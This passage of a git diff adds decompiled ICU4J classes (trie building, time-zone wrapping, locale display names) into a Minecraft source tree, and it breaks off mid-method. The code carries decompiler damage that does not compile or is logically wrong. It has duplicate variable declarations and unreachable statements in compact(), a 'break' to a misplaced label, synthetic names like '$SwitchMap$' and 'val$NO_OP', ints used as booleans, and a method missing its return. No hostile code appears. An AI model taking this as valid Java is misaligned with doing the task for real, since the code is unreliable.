+    if (start == limit) {
+      return true;
+    }
+    
+    if ((start & 0x1F) != 0)
+    {
+      int block = getDataBlock(start);
+      if (block < 0) {
+        return false;
+      }
+      
+      int nextStart = start + 32 & 0xFFFFFFE0;
+      if (nextStart <= limit) {
+        fillBlock(block, start & 0x1F, 32, value, overwrite);
+        
+        start = nextStart;
+      }
+      else {
+        fillBlock(block, start & 0x1F, limit & 0x1F, value, overwrite);
+        
+        return true;
+      }
+    }
+    
+
+    int rest = limit & 0x1F;
+    
+
+    limit &= 0xFFFFFFE0;
+    
+
+    int repeatBlock = 0;
+    if (value != m_initialValue_)
+    {
+
+
+      repeatBlock = -1;
+    }
+    while (start < limit)
+    {
+      int block = m_index_[(start >> 5)];
+      if (block > 0)
+      {
+        fillBlock(block, 0, 32, value, overwrite);
+      }
+      else if ((m_data_[(-block)] != value) && ((block == 0) || (overwrite)))
+      {
+
+        if (repeatBlock >= 0) {
+          m_index_[(start >> 5)] = (-repeatBlock);
+        }
+        else
+        {
+          repeatBlock = getDataBlock(start);
+          if (repeatBlock < 0) {
+            return false;
+          }
+          
+
+
+          m_index_[(start >> 5)] = (-repeatBlock);
+          fillBlock(repeatBlock, 0, 32, value, true);
+        }
+      }
+      
+      start += 32;
+    }
+    
+    if (rest > 0)
+    {
+      int block = getDataBlock(start);
+      if (block < 0) {
+        return false;
+      }
+      fillBlock(block, 0, rest, value, overwrite);
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int allocDataBlock()
+  {
+    int newBlock = m_dataLength_;
+    int newTop = newBlock + 32;
+    if (newTop > m_dataCapacity_)
+    {
+      return -1;
+    }
+    m_dataLength_ = newTop;
+    return newBlock;
+  }
+  
+
+
+
+
+
+  private int getDataBlock(int ch)
+  {
+    ch >>= 5;
+    int indexValue = m_index_[ch];
+    if (indexValue > 0) {
+      return indexValue;
+    }
+    
+
+    int newBlock = allocDataBlock();
+    if (newBlock < 0)
+    {
+      return -1;
+    }
+    m_index_[ch] = newBlock;
+    
+
+    System.arraycopy(m_data_, Math.abs(indexValue), m_data_, newBlock, 128);
+    
+    return newBlock;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private void compact(boolean overlap)
+  {
+    if (m_isCompacted_) {
+      return;
+    }
+    
+
+
+    findUnusedBlocks();
+    
+
+
+    int overlapStart = 32;
+    if (m_isLatin1Linear_) {
+      overlapStart += 256;
+    }
+    
+    int newStart = 32;
+    
+    for (int start = newStart; start < m_dataLength_;)
+    {
+
+
+
+      if (m_map_[(start >>> 5)] < 0)
+      {
+        start += 32;
+
+      }
+      else
+      {
+        if (start >= overlapStart) {
+          int i = findSameDataBlock(m_data_, newStart, start, overlap ? 4 : 32);
+          
+          if (i >= 0)
+          {
+
+            m_map_[(start >>> 5)] = i;
+            
+            start += 32;
+            
+            continue;
+          }
+        }
+        
+        int i;
+        if ((overlap) && (start >= overlapStart))
+        {
+          i = 28; }
+        int i; while ((i > 0) && (!equal_int(m_data_, newStart - i, start, i))) {
+          i -= 4; continue;
+          
+          i = 0;
+        }
+        if (i > 0)
+        {
+          m_map_[(start >>> 5)] = (newStart - i);
+          
+          start += i;
+          for (i = 32 - i; i > 0; i--) {
+            m_data_[(newStart++)] = m_data_[(start++)];
+          }
+        }
+        else if (newStart < start)
+        {
+          m_map_[(start >>> 5)] = newStart;
+          for (i = 32; i > 0; i--) {
+            m_data_[(newStart++)] = m_data_[(start++)];
+          }
+        }
+        else {
+          m_map_[(start >>> 5)] = start;
+          newStart += 32;
+          start = newStart;
+        }
+      }
+    }
+    for (int i = 0; i < m_indexLength_; i++) {
+      m_index_[i] = m_map_[(Math.abs(m_index_[i]) >>> 5)];
+    }
+    m_dataLength_ = newStart;
+  }
+  
+
+
+
+
+
+  private static final int findSameDataBlock(int[] data, int dataLength, int otherBlock, int step)
+  {
+    
+    
+
+
+
+
+    for (int block = 0; block <= dataLength; block += step) {
+      if (equal_int(data, block, otherBlock, 32)) {
+        return block;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private final void fold(TrieBuilder.DataManipulate manipulate)
+  {
+    int[] leadIndexes = new int[32];
+    int[] index = m_index_;
+    
+    System.arraycopy(index, 1728, leadIndexes, 0, 32);
+    
+
+
+
+
+
+
+
+
+    int block = 0;
+    if (m_leadUnitValue_ != m_initialValue_)
+    {
+
+
+
+
+      block = allocDataBlock();
+      if (block < 0)
+      {
+        throw new IllegalStateException("Internal error: Out of memory space");
+      }
+      fillBlock(block, 0, 32, m_leadUnitValue_, true);
+      
+      block = -block;
+    }
+    for (int c = 1728; c < 1760; c++) {
+      m_index_[c] = block;
+    }
+    
+
+
+
+
+
+
+
+    int indexLength = 2048;
+    
+    for (int c = 65536; c < 1114112;) {
+      if (index[(c >> 5)] != 0)
+      {
+        c &= 0xFC00;
+        
+        block = findSameIndexBlock(index, indexLength, c >> 5);
+        
+
+
+
+
+        int value = manipulate.getFoldedValue(c, block + 32);
+        
+        if (value != getValue(UTF16.getLeadSurrogate(c))) {
+          if (!setValue(UTF16.getLeadSurrogate(c), value))
+          {
+            throw new ArrayIndexOutOfBoundsException("Data table overflow");
+          }
+          
+
+          if (block == indexLength)
+          {
+
+            System.arraycopy(index, c >> 5, index, indexLength, 32);
+            
+            indexLength += 32;
+          }
+        }
+        c += 1024;
+      }
+      else {
+        c += 32;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    if (indexLength >= 34816) {
+      throw new ArrayIndexOutOfBoundsException("Index table overflow");
+    }
+    
+
+    System.arraycopy(index, 2048, index, 2080, indexLength - 2048);
+    
+
+    System.arraycopy(leadIndexes, 0, index, 2048, 32);
+    
+    indexLength += 32;
+    m_indexLength_ = indexLength;
+  }
+  
+
+
+
+
+  private void fillBlock(int block, int start, int limit, int value, boolean overwrite)
+  {
+    limit += block;
+    block += start;
+    if (overwrite) {
+      while (block < limit) {
+        m_data_[(block++)] = value;
+      }
+    }
+    
+    while (block < limit) {
+      if (m_data_[block] == m_initialValue_) {
+        m_data_[block] = value;
+      }
+      block++;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/InvalidFormatException.java b/src/minecraft/com/ibm/icu/impl/InvalidFormatException.java
new file mode 100644
index 0000000..96ce9be
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/InvalidFormatException.java
@@ -0,0 +1,21 @@
+package com.ibm.icu.impl;
+
+
+
+
+public class InvalidFormatException
+  extends Exception
+{
+  static final long serialVersionUID = 8883328905089345791L;
+  
+
+
+  public InvalidFormatException() {}
+  
+
+
+  public InvalidFormatException(String message)
+  {
+    super(message);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/IterableComparator.java b/src/minecraft/com/ibm/icu/impl/IterableComparator.java
new file mode 100644
index 0000000..9635fba
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/IterableComparator.java
@@ -0,0 +1,61 @@
+package com.ibm.icu.impl;
+
+import java.util.Comparator;
+import java.util.Iterator;
+
+
+
+
+public class IterableComparator<T>
+  implements Comparator<Iterable<T>>
+{
+  private final Comparator<T> comparator;
+  private final int shorterFirst;
+  
+  public IterableComparator()
+  {
+    this(null, true);
+  }
+  
+  public IterableComparator(Comparator<T> comparator) {
+    this(comparator, true);
+  }
+  
+  public IterableComparator(Comparator<T> comparator, boolean shorterFirst) {
+    this.comparator = comparator;
+    this.shorterFirst = (shorterFirst ? 1 : -1);
+  }
+  
+  public int compare(Iterable<T> a, Iterable<T> b) {
+    if (a == null)
+      return b == null ? 0 : -shorterFirst;
+    if (b == null) {
+      return shorterFirst;
+    }
+    Iterator<T> ai = a.iterator();
+    Iterator<T> bi = b.iterator();
+    for (;;) {
+      if (!ai.hasNext()) {
+        return bi.hasNext() ? -shorterFirst : 0;
+      }
+      if (!bi.hasNext()) {
+        return shorterFirst;
+      }
+      T aItem = ai.next();
+      T bItem = bi.next();
+      
+      int result = comparator != null ? comparator.compare(aItem, bItem) : ((Comparable)aItem).compareTo(bItem);
+      if (result != 0) {
+        return result;
+      }
+    }
+  }
+  
+  public static <T> int compareIterables(Iterable<T> a, Iterable<T> b)
+  {
+    return NOCOMPARATOR.compare(a, b);
+  }
+  
+
+  private static final IterableComparator NOCOMPARATOR = new IterableComparator();
+}
diff --git a/src/minecraft/com/ibm/icu/impl/JavaTimeZone.java b/src/minecraft/com/ibm/icu/impl/JavaTimeZone.java
new file mode 100644
index 0000000..c84db6c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/JavaTimeZone.java
@@ -0,0 +1,265 @@
+package com.ibm.icu.impl;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JavaTimeZone
+  extends com.ibm.icu.util.TimeZone
+{
+  private static final long serialVersionUID = 6977448185543929364L;
+  private static final TreeSet<String> AVAILABLESET = new TreeSet();
+  static { String[] availableIds = java.util.TimeZone.getAvailableIDs();
+    for (int i = 0; i < availableIds.length; i++) {
+      AVAILABLESET.add(availableIds[i]);
+    }
+    try
+    {
+      mObservesDaylightTime = java.util.TimeZone.class.getMethod("observesDaylightTime", (Class[])null);
+    }
+    catch (NoSuchMethodException e) {}catch (SecurityException e) {}
+  }
+  
+
+  private java.util.TimeZone javatz;
+  
+  private transient Calendar javacal;
+  private static Method mObservesDaylightTime;
+  public JavaTimeZone()
+  {
+    this(java.util.TimeZone.getDefault(), null);
+  }
+  
+
+
+
+
+
+  public JavaTimeZone(java.util.TimeZone jtz, String id)
+  {
+    if (id == null) {
+      id = jtz.getID();
+    }
+    javatz = jtz;
+    setID(id);
+    javacal = new GregorianCalendar(javatz);
+  }
+  
+
+
+
+
+
+  public static JavaTimeZone createTimeZone(String id)
+  {
+    java.util.TimeZone jtz = null;
+    
+    if (AVAILABLESET.contains(id)) {
+      jtz = java.util.TimeZone.getTimeZone(id);
+    }
+    
+    if (jtz == null)
+    {
+      boolean[] isSystemID = new boolean[1];
+      String canonicalID = com.ibm.icu.util.TimeZone.getCanonicalID(id, isSystemID);
+      if ((isSystemID[0] != 0) && (AVAILABLESET.contains(canonicalID))) {
+        jtz = java.util.TimeZone.getTimeZone(canonicalID);
+      }
+    }
+    
+    if (jtz == null) {
+      return null;
+    }
+    
+    return new JavaTimeZone(jtz, id);
+  }
+  
+
+
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int milliseconds)
+  {
+    return javatz.getOffset(era, year, month, day, dayOfWeek, milliseconds);
+  }
+  
+
+
+  public void getOffset(long date, boolean local, int[] offsets)
+  {
+    synchronized (javacal) {
+      if (local) {
+        int[] fields = new int[6];
+        Grego.timeToFields(date, fields);
+        
+        int tmp = fields[5];
+        int mil = tmp % 1000;
+        tmp /= 1000;
+        int sec = tmp % 60;
+        tmp /= 60;
+        int min = tmp % 60;
+        int hour = tmp / 60;
+        javacal.clear();
+        javacal.set(fields[0], fields[1], fields[2], hour, min, sec);
+        javacal.set(14, mil);
+        
+
+        int doy1 = javacal.get(6);
+        int hour1 = javacal.get(11);
+        int min1 = javacal.get(12);
+        int sec1 = javacal.get(13);
+        int mil1 = javacal.get(14);
+        
+        if ((fields[4] != doy1) || (hour != hour1) || (min != min1) || (sec != sec1) || (mil != mil1))
+        {
+
+
+          int dayDelta = Math.abs(doy1 - fields[4]) > 1 ? 1 : doy1 - fields[4];
+          int delta = (((dayDelta * 24 + hour1 - hour) * 60 + min1 - min) * 60 + sec1 - sec) * 1000 + mil1 - mil;
+          
+
+          javacal.setTimeInMillis(javacal.getTimeInMillis() - delta - 1L);
+        }
+      } else {
+        javacal.setTimeInMillis(date);
+      }
+      offsets[0] = javacal.get(15);
+      offsets[1] = javacal.get(16);
+    }
+  }
+  
+
+
+  public int getRawOffset()
+  {
+    return javatz.getRawOffset();
+  }
+  
+
+
+  public boolean inDaylightTime(Date date)
+  {
+    return javatz.inDaylightTime(date);
+  }
+  
+
+
+  public void setRawOffset(int offsetMillis)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen JavaTimeZone instance.");
+    }
+    javatz.setRawOffset(offsetMillis);
+  }
+  
+
+
+  public boolean useDaylightTime()
+  {
+    return javatz.useDaylightTime();
+  }
+  
+
+
+  public boolean observesDaylightTime()
+  {
+    if (mObservesDaylightTime != null) {
+      try
+      {
+        return ((Boolean)mObservesDaylightTime.invoke(javatz, (Object[])null)).booleanValue();
+      }
+      catch (IllegalAccessException e) {}catch (IllegalArgumentException e) {}catch (InvocationTargetException e) {}
+    }
+    
+
+    return super.observesDaylightTime();
+  }
+  
+
+
+  public int getDSTSavings()
+  {
+    return javatz.getDSTSavings();
+  }
+  
+  public java.util.TimeZone unwrap() {
+    return javatz;
+  }
+  
+
+
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+  public int hashCode()
+  {
+    return super.hashCode() + javatz.hashCode();
+  }
+  
+  private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
+    s.defaultReadObject();
+    javacal = new GregorianCalendar(javatz);
+  }
+  
+
+  private transient boolean isFrozen = false;
+  
+
+
+  public boolean isFrozen()
+  {
+    return isFrozen;
+  }
+  
+
+
+  public com.ibm.icu.util.TimeZone freeze()
+  {
+    isFrozen = true;
+    return this;
+  }
+  
+
+
+  public com.ibm.icu.util.TimeZone cloneAsThawed()
+  {
+    JavaTimeZone tz = (JavaTimeZone)super.cloneAsThawed();
+    javatz = ((java.util.TimeZone)javatz.clone());
+    javacal = ((GregorianCalendar)javacal.clone());
+    isFrozen = false;
+    return tz;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/LocaleDisplayNamesImpl.java b/src/minecraft/com/ibm/icu/impl/LocaleDisplayNamesImpl.java
new file mode 100644
index 0000000..25b4f14
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/LocaleDisplayNamesImpl.java
@@ -0,0 +1,561 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.lang.UScript;
+import com.ibm.icu.text.DisplayContext;
+import com.ibm.icu.text.DisplayContext.Type;
+import com.ibm.icu.text.LocaleDisplayNames;
+import com.ibm.icu.text.LocaleDisplayNames.DialectHandling;
+import com.ibm.icu.text.MessageFormat;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Locale;
+import java.util.Map;
+import java.util.MissingResourceException;
+
+
+
+
+
+public class LocaleDisplayNamesImpl
+  extends LocaleDisplayNames
+{
+  private final ULocale locale;
+  private final LocaleDisplayNames.DialectHandling dialectHandling;
+  private final DisplayContext capitalization;
+  private final DataTable langData;
+  private final DataTable regionData;
+  private final Appender appender;
+  private final MessageFormat format;
+  private final MessageFormat keyTypeFormat;
+  private static final Cache cache = new Cache(null);
+  
+
+
+  private static enum CapitalizationContextUsage
+  {
+    LANGUAGE, 
+    SCRIPT, 
+    TERRITORY, 
+    VARIANT, 
+    KEY, 
+    TYPE;
+    
+
+    private CapitalizationContextUsage() {}
+  }
+  
+
+  private Map<CapitalizationContextUsage, boolean[]> capitalizationUsage = null;
+  
+
+
+
+
+  private static final Map<String, CapitalizationContextUsage> contextUsageTypeMap = new HashMap();
+  static { contextUsageTypeMap.put("languages", CapitalizationContextUsage.LANGUAGE);
+    contextUsageTypeMap.put("script", CapitalizationContextUsage.SCRIPT);
+    contextUsageTypeMap.put("territory", CapitalizationContextUsage.TERRITORY);
+    contextUsageTypeMap.put("variant", CapitalizationContextUsage.VARIANT);
+    contextUsageTypeMap.put("key", CapitalizationContextUsage.KEY);
+    contextUsageTypeMap.put("type", CapitalizationContextUsage.TYPE);
+  }
+  
+  public static LocaleDisplayNames getInstance(ULocale locale, LocaleDisplayNames.DialectHandling dialectHandling) {
+    synchronized (cache) {
+      return cache.get(locale, dialectHandling);
+    }
+  }
+  
+  public static LocaleDisplayNames getInstance(ULocale locale, DisplayContext... contexts) {
+    synchronized (cache) {
+      return cache.get(locale, contexts);
+    }
+  }
+  
+  public LocaleDisplayNamesImpl(ULocale locale, LocaleDisplayNames.DialectHandling dialectHandling) {
+    this(locale, new DisplayContext[] { dialectHandling == LocaleDisplayNames.DialectHandling.STANDARD_NAMES ? DisplayContext.STANDARD_NAMES : DisplayContext.DIALECT_NAMES, DisplayContext.CAPITALIZATION_NONE });
+  }
+  
+  public LocaleDisplayNamesImpl(ULocale locale, DisplayContext... contexts)
+  {
+    LocaleDisplayNames.DialectHandling dialectHandling = LocaleDisplayNames.DialectHandling.STANDARD_NAMES;
+    DisplayContext capitalization = DisplayContext.CAPITALIZATION_NONE;
+    for (DisplayContext contextItem : contexts) {
+      switch (contextItem.type()) {
+      case DIALECT_HANDLING: 
+        dialectHandling = contextItem.value() == DisplayContext.STANDARD_NAMES.value() ? LocaleDisplayNames.DialectHandling.STANDARD_NAMES : LocaleDisplayNames.DialectHandling.DIALECT_NAMES;
+        
+        break;
+      case CAPITALIZATION: 
+        capitalization = contextItem;
+      }
+      
+    }
+    
+
+
+    this.dialectHandling = dialectHandling;
+    this.capitalization = capitalization;
+    langData = LangDataTables.impl.get(locale);
+    regionData = RegionDataTables.impl.get(locale);
+    this.locale = (ULocale.ROOT.equals(langData.getLocale()) ? regionData.getLocale() : langData.getLocale());
+    
+
+
+
+
+
+    String sep = langData.get("localeDisplayPattern", "separator");
+    if ("separator".equals(sep)) {
+      sep = ", ";
+    }
+    appender = new Appender(sep);
+    
+    String pattern = langData.get("localeDisplayPattern", "pattern");
+    if ("pattern".equals(pattern)) {
+      pattern = "{0} ({1})";
+    }
+    format = new MessageFormat(pattern);
+    
+    String keyTypePattern = langData.get("localeDisplayPattern", "keyTypePattern");
+    if ("keyTypePattern".equals(keyTypePattern)) {
+      keyTypePattern = "{0}={1}";
+    }
+    keyTypeFormat = new MessageFormat(keyTypePattern);
+    
+
+
+    if ((capitalization == DisplayContext.CAPITALIZATION_FOR_UI_LIST_OR_MENU) || (capitalization == DisplayContext.CAPITALIZATION_FOR_STANDALONE))
+    {
+      capitalizationUsage = new HashMap();
+      boolean[] noTransforms = new boolean[2];
+      noTransforms[0] = false;
+      noTransforms[1] = false;
+      CapitalizationContextUsage[] allUsages = CapitalizationContextUsage.values();
+      for (CapitalizationContextUsage usage : allUsages) {
+        capitalizationUsage.put(usage, noTransforms);
+      }
+      ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+      UResourceBundle contextTransformsBundle = null;
+      try {
+        contextTransformsBundle = rb.getWithFallback("contextTransforms");
+      }
+      catch (MissingResourceException e) {
+        contextTransformsBundle = null;
+      }
+      if (contextTransformsBundle != null) {
+        UResourceBundleIterator ctIterator = contextTransformsBundle.getIterator();
+        while (ctIterator.hasNext()) {
+          UResourceBundle contextTransformUsage = ctIterator.next();
+          int[] intVector = contextTransformUsage.getIntVector();
+          if (intVector.length >= 2) {
+            String usageKey = contextTransformUsage.getKey();
+            CapitalizationContextUsage usage = (CapitalizationContextUsage)contextUsageTypeMap.get(usageKey);
+            if (usage != null) {
+              boolean[] transforms = new boolean[2];
+              transforms[0] = (intVector[0] != 0 ? 1 : false);
+              transforms[1] = (intVector[1] != 0 ? 1 : false);
+              capitalizationUsage.put(usage, transforms);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public ULocale getLocale()
+  {
+    return locale;
+  }
+  
+  public LocaleDisplayNames.DialectHandling getDialectHandling()
+  {
+    return dialectHandling;
+  }
+  
+  public DisplayContext getContext(DisplayContext.Type type)
+  {
+    DisplayContext result;
+    switch (type) {
+    case DIALECT_HANDLING: 
+      result = dialectHandling == LocaleDisplayNames.DialectHandling.STANDARD_NAMES ? DisplayContext.STANDARD_NAMES : DisplayContext.DIALECT_NAMES;
+      break;
+    case CAPITALIZATION: 
+      result = capitalization;
+      break;
+    default: 
+      result = DisplayContext.STANDARD_NAMES;
+    }
+    
+    return result;
+  }
+  
+  private String adjustForUsageAndContext(CapitalizationContextUsage usage, String name) {
+    String result = name;
+    boolean titlecase = false;
+    switch (1.$SwitchMap$com$ibm$icu$text$DisplayContext[capitalization.ordinal()]) {
+    case 1: 
+      titlecase = true;
+      break;
+    case 2: 
+    case 3: 
+      if (capitalizationUsage != null) {
+        boolean[] transforms = (boolean[])capitalizationUsage.get(usage);
+        titlecase = capitalization == DisplayContext.CAPITALIZATION_FOR_UI_LIST_OR_MENU ? transforms[0] : transforms[1];
+      }
+      break;
+    }
+    
+    
+
+    if (titlecase)
+    {
+
+
+
+
+
+
+
+      int stopPosLimit = 8;int len = name.length();
+      if (stopPosLimit > len) {
+        stopPosLimit = len;
+      }
+      for (int stopPos = 0; stopPos < stopPosLimit; stopPos++) {
+        int ch = name.codePointAt(stopPos);
+        if ((ch < 65) || ((ch > 90) && (ch < 97)) || ((ch > 122) && (ch < 192))) {
+          break;
+        }
+        if (ch >= 65536) {
+          stopPos++;
+        }
+      }
+      if ((stopPos > 0) && (stopPos < len)) {
+        String firstWord = name.substring(0, stopPos);
+        String firstWordTitleCase = UCharacter.toTitleCase(locale, firstWord, null, 768);
+        
+        result = firstWordTitleCase.concat(name.substring(stopPos));
+      }
+      else {
+        result = UCharacter.toTitleCase(locale, name, null, 768);
+      }
+    }
+    
+    return result;
+  }
+  
+  public String localeDisplayName(ULocale locale)
+  {
+    return localeDisplayNameInternal(locale);
+  }
+  
+  public String localeDisplayName(Locale locale)
+  {
+    return localeDisplayNameInternal(ULocale.forLocale(locale));
+  }
+  
+  public String localeDisplayName(String localeId)
+  {
+    return localeDisplayNameInternal(new ULocale(localeId));
+  }
+  
+
+
+
+
+  private String localeDisplayNameInternal(ULocale locale)
+  {
+    String resultName = null;
+    
+    String lang = locale.getLanguage();
+    
+
+
+
+    if (locale.getBaseName().length() == 0) {
+      lang = "root";
+    }
+    String script = locale.getScript();
+    String country = locale.getCountry();
+    String variant = locale.getVariant();
+    
+    boolean hasScript = script.length() > 0;
+    boolean hasCountry = country.length() > 0;
+    boolean hasVariant = variant.length() > 0;
+    
+
+    if (dialectHandling == LocaleDisplayNames.DialectHandling.DIALECT_NAMES)
+    {
+      if ((hasScript) && (hasCountry)) {
+        String langScriptCountry = lang + '_' + script + '_' + country;
+        String result = localeIdName(langScriptCountry);
+        if (!result.equals(langScriptCountry)) {
+          resultName = result;
+          hasScript = false;
+          hasCountry = false;
+          break label285;
+        }
+      }
+      if (hasScript) {
+        String langScript = lang + '_' + script;
+        String result = localeIdName(langScript);
+        if (!result.equals(langScript)) {
+          resultName = result;
+          hasScript = false;
+          break label285;
+        }
+      }
+      if (hasCountry) {
+        String langCountry = lang + '_' + country;
+        String result = localeIdName(langCountry);
+        if (!result.equals(langCountry)) {
+          resultName = result;
+          hasCountry = false;
+        }
+      }
+    }
+    
+    label285:
+    
+    if (resultName == null) {
+      resultName = localeIdName(lang);
+    }
+    
+    StringBuilder buf = new StringBuilder();
+    if (hasScript)
+    {
+      buf.append(scriptDisplayNameInContext(script));
+    }
+    if (hasCountry) {
+      appender.append(regionDisplayName(country), buf);
+    }
+    if (hasVariant) {
+      appender.append(variantDisplayName(variant), buf);
+    }
+    
+    Iterator<String> keys = locale.getKeywords();
+    if (keys != null) {
+      while (keys.hasNext()) {
+        String key = (String)keys.next();
+        String value = locale.getKeywordValue(key);
+        String keyDisplayName = keyDisplayName(key);
+        String valueDisplayName = keyValueDisplayName(key, value);
+        if (!valueDisplayName.equals(value)) {
+          appender.append(valueDisplayName, buf);
+        } else if (!key.equals(keyDisplayName)) {
+          String keyValue = keyTypeFormat.format(new String[] { keyDisplayName, valueDisplayName });
+          
+          appender.append(keyValue, buf);
+        } else {
+          appender.append(keyDisplayName, buf).append("=").append(valueDisplayName);
+        }
+      }
+    }
+    
+
+
+    String resultRemainder = null;
+    if (buf.length() > 0) {
+      resultRemainder = buf.toString();
+    }
+    
+    if (resultRemainder != null) {
+      resultName = format.format(new Object[] { resultName, resultRemainder });
+    }
+    
+    return adjustForUsageAndContext(CapitalizationContextUsage.LANGUAGE, resultName);
+  }
+  
+  private String localeIdName(String localeId) {
+    return langData.get("Languages", localeId);
+  }
+  
+
+  public String languageDisplayName(String lang)
+  {
+    if ((lang.equals("root")) || (lang.indexOf('_') != -1)) {
+      return lang;
+    }
+    return adjustForUsageAndContext(CapitalizationContextUsage.LANGUAGE, langData.get("Languages", lang));
+  }
+  
+  public String scriptDisplayName(String script)
+  {
+    String str = langData.get("Scripts%stand-alone", script);
+    if (str.equals(script)) {
+      str = langData.get("Scripts", script);
+    }
+    return adjustForUsageAndContext(CapitalizationContextUsage.SCRIPT, str);
+  }
+  
+  public String scriptDisplayNameInContext(String script)
+  {
+    return adjustForUsageAndContext(CapitalizationContextUsage.SCRIPT, langData.get("Scripts", script));
+  }
+  
+  public String scriptDisplayName(int scriptCode)
+  {
+    return adjustForUsageAndContext(CapitalizationContextUsage.SCRIPT, scriptDisplayName(UScript.getShortName(scriptCode)));
+  }
+  
+  public String regionDisplayName(String region)
+  {
+    return adjustForUsageAndContext(CapitalizationContextUsage.TERRITORY, regionData.get("Countries", region));
+  }
+  
+  public String variantDisplayName(String variant)
+  {
+    return adjustForUsageAndContext(CapitalizationContextUsage.VARIANT, langData.get("Variants", variant));
+  }
+  
+  public String keyDisplayName(String key)
+  {
+    return adjustForUsageAndContext(CapitalizationContextUsage.KEY, langData.get("Keys", key));
+  }
+  
+
+
+  public String keyValueDisplayName(String key, String value) { return adjustForUsageAndContext(CapitalizationContextUsage.TYPE, langData.get("Types", key, value)); }
+  
+  public static class DataTable {
+    public DataTable() {}
+    
+    ULocale getLocale() { return ULocale.ROOT; }
+    
+    String get(String tableName, String code)
+    {
+      return get(tableName, null, code);
+    }
+    
+    String get(String tableName, String subTableName, String code) {
+      return code;
+    }
+  }
+  
+  static class ICUDataTable extends LocaleDisplayNamesImpl.DataTable {
+    private final ICUResourceBundle bundle;
+    
+    public ICUDataTable(String path, ULocale locale) {
+      bundle = ((ICUResourceBundle)UResourceBundle.getBundleInstance(path, locale.getBaseName()));
+    }
+    
+    public ULocale getLocale()
+    {
+      return bundle.getULocale();
+    }
+    
+
+    public String get(String tableName, String subTableName, String code) { return ICUResourceTableAccess.getTableString(bundle, tableName, subTableName, code); }
+  }
+  
+  static abstract class DataTables {
+    DataTables() {}
+    
+    public abstract LocaleDisplayNamesImpl.DataTable get(ULocale paramULocale);
+    
+    public static DataTables load(String className) {
+      try { return (DataTables)Class.forName(className).newInstance();
+      } catch (Throwable t) {
+        LocaleDisplayNamesImpl.DataTable NO_OP = new LocaleDisplayNamesImpl.DataTable();
+        new DataTables() {
+          public LocaleDisplayNamesImpl.DataTable get(ULocale locale) {
+            return val$NO_OP;
+          }
+        };
+      }
+    }
+  }
+  
+  static abstract class ICUDataTables extends LocaleDisplayNamesImpl.DataTables {
+    private final String path;
+    
+    protected ICUDataTables(String path) {
+      this.path = path;
+    }
+    
+    public LocaleDisplayNamesImpl.DataTable get(ULocale locale)
+    {
+      return new LocaleDisplayNamesImpl.ICUDataTable(path, locale);
+    }
+  }
+  
+  static class LangDataTables {
+    static final LocaleDisplayNamesImpl.DataTables impl = LocaleDisplayNamesImpl.DataTables.load("com.ibm.icu.impl.ICULangDataTables");
+    
+    LangDataTables() {} }
+  
+  static class RegionDataTables { static final LocaleDisplayNamesImpl.DataTables impl = LocaleDisplayNamesImpl.DataTables.load("com.ibm.icu.impl.ICURegionDataTables");
+    
+    RegionDataTables() {} }
+  
+  public static enum DataTableType { LANG,  REGION;
+    
+    private DataTableType() {} }
+  
+  public static boolean haveData(DataTableType type) { switch (type) {
+    case LANG:  return LangDataTables.impl instanceof ICUDataTables;
+    case REGION:  return RegionDataTables.impl instanceof ICUDataTables;
+    }
+    throw new IllegalArgumentException("unknown type: " + type);
+  }
+  
+
+  static class Appender
+  {
+    private final String sep;
+    
+    Appender(String sep) { this.sep = sep; }
+    
+    StringBuilder append(String s, StringBuilder b) {
+      if (b.length() > 0) {
+        b.append(sep);
+      }
+      b.append(s);
+      return b;
+    } }
+  
+  private static class Cache { private ULocale locale;
+    private LocaleDisplayNames.DialectHandling dialectHandling;
+    private DisplayContext capitalization;
+    private LocaleDisplayNames cache;
+    
+    private Cache() {}
+    
+    public LocaleDisplayNames get(ULocale locale, LocaleDisplayNames.DialectHandling dialectHandling) { if ((dialectHandling != this.dialectHandling) || (DisplayContext.CAPITALIZATION_NONE != capitalization) || (!locale.equals(this.locale))) {
+        this.locale = locale;
+        this.dialectHandling = dialectHandling;
+        capitalization = DisplayContext.CAPITALIZATION_NONE;
+        cache = new LocaleDisplayNamesImpl(locale, dialectHandling);
+      }
+      return cache;
+    }
+    
+    public LocaleDisplayNames get(ULocale locale, DisplayContext... contexts) { LocaleDisplayNames.DialectHandling dialectHandlingIn = LocaleDisplayNames.DialectHandling.STANDARD_NAMES;
+      DisplayContext capitalizationIn = DisplayContext.CAPITALIZATION_NONE;
+      for (DisplayContext contextItem : contexts) {
+        switch (LocaleDisplayNamesImpl.1.$SwitchMap$com$ibm$icu$text$DisplayContext$Type[contextItem.type().ordinal()]) {
+        case 1: 
+          dialectHandlingIn = contextItem.value() == DisplayContext.STANDARD_NAMES.value() ? LocaleDisplayNames.DialectHandling.STANDARD_NAMES : LocaleDisplayNames.DialectHandling.DIALECT_NAMES;
+          
+          break;
+        case 2: 
